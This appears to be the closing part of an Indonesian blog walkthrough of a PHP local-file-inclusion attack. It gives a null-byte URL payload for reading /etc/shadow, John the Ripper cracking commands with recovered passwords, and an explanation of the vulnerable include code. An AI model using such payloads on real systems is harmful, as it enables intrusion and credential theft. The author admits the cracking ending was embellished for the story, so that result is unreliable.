http://[target]/?page=/etc/shadow%00

Langkah terakhir.. saya coba pakai tools JTR (John the Ripper) untuk crack password user. Namanya juga cerita di blog, biar rame jadi ending ceritanya dibuat sukses nih hahaha.. Password user tertebak oleh JTR. PWNED!

inan@eniac:/home/inan/john-1.7.6/run# ./unshadow passwd shadow > crackit
inan@eniac:/home/inan/john-1.7.6/run# ./john crackit
Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/64 X2])
secret123 (root)
abacus (bill)
guesses: 1 time: 0:00:00:47 (3) c/s: 6687 trying: ca1999 - ca1990

Kenapa bisa terjadi gerangan? Wogh.. ternyata ini semua berawal dari website-nya. Mari kita bahas satu per satu… Website ini secara garis besar memiliki script PHP seperti ini:

<?php
$page=$_GET["page"];
if($page==""){
include "home.php";
}
include $page.".php";
?>

Dari script di atas dapat disimpulkan bahwa variable $page akan selalu mengambil nilai dari URL yang ber-parameter “page” dari URL. Jadi kalau URL nya adalah namafile.php?page=prikitiw maka $page akan berisi nilai “prikitiw” dan ditambahkan ekstensi “.php” kemudian file prikitiw.php diincludekan di halaman namafile.php. Kalau tidak ada nilai pada $page, website otomatis akan menampilkan file home.php.

Nah sekarang jika kita memasukkan “/etc/passwd” di bagian “page=” pada URL, berarti yang diincludekan di halaman jadi /etc/passwd.php. Padahal bukan itu yang kita inginkan.. (yang kita inginkan adalah file /etc/passwd). Maka untuk mendapatkan /etc/passwd di parameter page diisikan nilai /etc/passwd%00 (ditambahkan %00) agar tidak mengikutsertakan ekstensi “.php”.

Kesimpulannya, website target kita ini menggunakan metode include file untuk menampilkan halaman-halaman websitenya. Dan metode itu bisa kita eksploitasi untuk menginclude file-file pada target yang critical, seperti file passwd, file-file konfigurasi, dll.